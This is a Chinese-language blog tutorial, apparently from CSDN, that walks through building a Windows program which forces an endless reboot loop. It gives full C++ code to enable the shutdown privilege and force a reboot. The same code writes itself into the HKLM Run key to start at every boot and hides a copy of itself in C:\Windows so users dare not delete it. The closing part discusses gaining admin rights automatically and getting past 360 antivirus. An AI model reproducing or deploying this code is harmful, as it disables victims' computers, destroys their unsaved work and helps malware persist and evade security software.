简单的自动重启

1.实现思路

  • 1.调用    ExitWindowsEx 函数来实现关机;

  • 2.修改注册表来实现开机启动;

  • 3.将程序自身复制到系统盘让别人不敢乱删除;来达到隐藏的目的;

 

2.新建项目

打开vs2017

 

新建一个控制台程序

 

1.选择windows控制台应用程序;2.随便改个名字;3.点击确定

 

接下来就可以开始写东西了

 

3.实现重启

首先必须引入库 windows.h;

然后写一个函数;我这里叫 MySystemShutdown;并且在主函数main中调用这个函数

调用windows库里面的 ExitWindowsEx 可以实现重启;参数EWX_REBOOT表示重启;

 

按 ctrl+F5 编译运行

 

结果发现并没有什么用!!

然后调用GetLastError()函数来获取错误信息;

用printf()输出错误代号;

结果如图:

点击vs2017上方的 工具-》错误查找

将错误代号1314输入工具发现是没有权限

获取权限:

选中函数 ExitWindowsEx 按F1查看帮助文档 ;当然直接百度也是可以的

会进入msdn文档;也就是微软的帮助文档页面;

ps:需要联网的,知道怎么提权的就不必这么干了,只是记录一下技巧而已

向下托到例子代码处:

点这个链接:

 

现成的代码拷贝回去就可以实现关机了;

这里主要加了一些判断错误的语句;

要注意的是 复制过来的代码中 EWX_SHUTDOWN 参数表示是关机;换成表示重启的 EWX_REBOOT 

 

最终代码如下:

 

//重启电脑

BOOL MySystemShutdown()
{
    BOOL bRet = FALSE;
    HANDLE hToken;
    TOKEN_PRIVILEGES tkp;
    do {
        // Get a token for this process.
        if (!OpenProcessToken(GetCurrentProcess(),
            TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))
            break;
        // Get the LUID for the shutdown privilege.
        if(!LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,
            &tkp.Privileges[0].Luid))
            break;
        tkp.PrivilegeCount = 1;  // one privilege to set    
        tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
        // Get the shutdown privilege for this process.
        AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,
            (PTOKEN_PRIVILEGES)NULL, 0);
        if (GetLastError() != ERROR_SUCCESS)
            break;
        // Shut down the system and force all applications to close.
        if (!ExitWindowsEx(EWX_REBOOT | EWX_FORCE,
            SHTDN_REASON_MAJOR_OPERATINGSYSTEM |
            SHTDN_REASON_MINOR_UPGRADE |
            SHTDN_REASON_FLAG_PLANNED))
            break;
        bRet = TRUE;
    } while (FALSE);
    return bRet;
}

 

这下就不能乱来了;真的重启了可不太好;

右键单机项目点生成来编译代码;

生成完成后右键单机解决方案-》选在资源管理器中打开文件夹

 

打开里面的Debug文件夹生成的程序就在那里

将exe文件复制到虚拟机中双击运行测试;

ps:不怕麻烦的可以直接双击运行;或者在vs中ctrl+F5运行

 

ok,第一步完成

 

 

4.开机启动

开机启动的原理:注册表放在目录 “计算机\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run”

里的程序会开机制动启动

 

win(也就是ctrl旁边那个田字键)+R 可打开运行窗口:

输入regedit 点击确定就可以看见注册标了;

注册表里有3个属性:名称->自己可以随便改一个

                                类型->一般是固定的写法可照抄原来的,这里就写 REG_SZ

                                数据->最关键的东西;也就是程序的路径

我们要做的就是在Run目录下添加一个注册表记录;将自己的程序的路径写在上面

 

RegOpenKeyEx函数可用来打开注册表目录

RegSetValueEx函数可用来在注册表中添加一条记录

 

接下来就是实现了:

创建一个函数名叫AutoRun 并在主函数main中调用

代码如下:

//开机启动
void  AutoRun() {
        HKEY hKey = { 0 };
        RegOpenKeyExW(HKEY_LOCAL_MACHINE,
               L"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",
               0, KEY_WRITE | KEY_WOW64_64KEY, &hKey); //注册表放到这个路径会开机启动
        wchar_t szPath[MAXBYTE] = { 0 };      //存放程序路径的缓冲区
        GetModuleFileNameW(nullptr, szPath, MAXBYTE);        //这个函数可获取程序自身路径
        RegSetValueEx(hKey, L"AutoRun", 0, REG_SZ, (byte *)szPath, wcslen(szPath)*2);  

}

 

然后编译运行程序;

结果如图:打开注册表确认;确实添加了一条记录

 

接下来在虚拟机中测试:

 

注意:需要以管理员身份运行

 

 

到这里;虚拟机已经被干掉了;无限重启已经完成

 

程序的缺陷:

  • RegOpenKeyExW 这个函数在64位运行需要管理员权限;目前还没有办法解决;

    暂时只能以管理员权限运行生成的exe;或者以管理员身份运行vs2017的方式来解决

  • 360之类的软件对注册表的修改十分敏感;会被拦下了;

  • 所以说没什么实际作用;但是拿来锻炼一下思路还是可以的;   

 

5.隐藏程序

 

程序直接放在桌面太显眼;而且开机启动也不够快让人有机会直接删掉;

可以将程序复制到系统盘;那里的文件都比较重要;一般人不敢乱删;删错了会导致系统崩溃;

 

实现思路:

  • GetWindowsDirectory函数可以获取系统路径;也就是 c://windows

  • CopyFile函数可用来复制文件;可把程序本省复制一份到系统盘;

  • 目标路径为 c://windows+文件名;

  • 然后把目标路径作为值写入注册表实现开机启动;

  • 开机启动的是系统盘里的程序副本;因此桌面上的程序被删了也没关系;

 

代码:

创建一个复制函数名叫 CopySelf并在main函数中调用;为了方便同时创建一些工具函数;

//获取程序自身的地址
BOOL getSelfPath(char * szPath) {
        return GetModuleFileNameA(nullptr, szPath, MAXBYTE);
}
//获取文件名
char * getFileNameFromPath(char * szPath) {
        return strrchr(szPath, '\\');
}
//获取系统路径
void getSystemPath(char * szPath) {
        char szSelfPath[MAXBYTE] = { 0 };
        getSelfPath(szSelfPath);
        GetWindowsDirectoryA(szPath, MAXBYTE);//获取系统路径->c://windows
        strcat(szPath, getFileNameFromPath(szSelfPath));
}
//将程序隐藏
void copySelf() {
        char szWindowsPath[MAXBYTE] = { 0 };
        getSystemPath(szWindowsPath);
        char szPath[MAXBYTE] = { 0 };
        getSelfPath(szPath);
        CopyFileA(szPath, szWindowsPath, FALSE);//源路径;目标路径;是否覆盖重复文件
}

 

编译运行后c://windows里面多了一个guanji.exe

 

编译时可能会报一个错:

这是由于处理字符串所用的函数用了一些旧的库方法;

解决办法是 右键单机最上面的stdafx.h;选择打开预编译头文件stdafx.h;

然后加上一个宏定义 _CRT_SECURE_NO_WARNINGS ;ps:来自于上面的保存信息;可以去掉警告;

之后就能编译通过了;

 

由于需要开机启动的程序是放在系统盘的副本;所以 AutoRun函数需要稍作改变;

也就是把原来的当前程序路径换成系统盘路径就行了;

代码:

//开机启动
void  AutoRun() {
        HKEY hKey = { 0 };
        RegOpenKeyExW(HKEY_LOCAL_MACHINE,
               L"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",
               0, KEY_WRITE | KEY_WOW64_64KEY, &hKey); //注册表放到这个路径会开机启动
        char szSysPath [MAXBYTE]= { 0 };
        getSystemPath(szSysPath);     //      c://windows/guanji.exe      
        //前面获取的是路径是窄字符需要专成宽字符 ps:我用窄字符写入注册表的是乱码;宽字符正常的
        //将ascll转换为unicode
        int szBuf = MultiByteToWideChar(CP_ACP, 0, szSysPath, -1, nullptr, 0);
        wchar_t * szPath = new wchar_t[szBuf]; //存放程序路径的缓冲区
        wmemset(szPath, 0, szBuf);
        MultiByteToWideChar(CP_ACP, 0, szSysPath, strlen(szSysPath), szPath, szBuf);
        RegSetValueEx(hKey, L"AutoRun", 0, REG_SZ, (byte *)szPath, wcslen(szPath)*2);              //写入注册表

}

 

接下来依次在main中调用三个函数

int main()
{
        copySelf();   
        AutoRun();
        MySystemShutdown();
    return 0;
}

 

这样就完成了无限重启!

 

6.程序待改进点

最难的地方是 RegOpenKeyExW函数;

不以管理员身份执行程序会打不开注册表;导致开机启动无法实现;

改进思路:1.是否可以在程序中实现自动获取管理员权限;

    2.是否可以让程序第一次被执行时强制以管理员权限运行;毕竟注册表只要修改一次就够了

    3.关于绕开360;这个有点难度;360里工作的程序员可不是吃干饭的!!

 

 

 

 

 

 

 

 

 

 

 

 

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值